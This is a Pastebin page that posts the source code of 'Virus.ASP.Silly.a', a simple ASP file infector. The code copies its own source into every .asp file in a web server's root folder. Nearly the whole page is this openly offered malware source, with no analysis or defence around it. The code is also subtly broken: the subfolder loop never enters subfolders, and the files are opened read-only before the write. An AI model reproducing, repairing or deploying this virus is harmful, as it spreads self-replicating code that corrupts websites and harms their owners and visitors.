Advertisement
FlyFar

Virus.ASP.Silly.a - Source Code

Jun 9th, 2023
1,691
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 1.03 KB | Cybersecurity | 0 0
  1.    <html><head><title>ASP.Silly</title>
  2.    <body>ASP.Silly<br>This is very silly ASP Infector By Psychologic<br>
  3.  
  4.    <%
  5.    Set fso = Server.CreateObject("Scripting.FileSystemObject")
  6.    Set Drives=fso.drives
  7.        a = Server.mappath("silly.asp")
  8.        Set dropper = Fso.opentextfile(a)
  9.        src = dropper.readall
  10.    dropper.close
  11.  
  12.  
  13.    Set Folder=fso.getfolder("C:\InetPub\wwwRoot")
  14.    Set Files = folder.files
  15.        For Each File in files
  16.            If fso.GetExtensionName(file.path)="asp" then
  17.            on error resume next
  18.                set droper = fso.opentextfile(file.path,1)
  19.                    droper.write src
  20.                droper.close
  21.            end If
  22.        Next
  23.  
  24.    Set Subfolders = folder.SubFolders
  25.  
  26.    For Each Subfolder in Subfolders
  27.  
  28.    If fso.GetExtensionName(file.path)="asp" then
  29.            on error resume next
  30.                set droper = fso.opentextfile(file.path,1)
  31.                    droper.write src
  32.                droper.close
  33.            end If
  34.    Next
  35.  
  36.    %>
  37.    </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement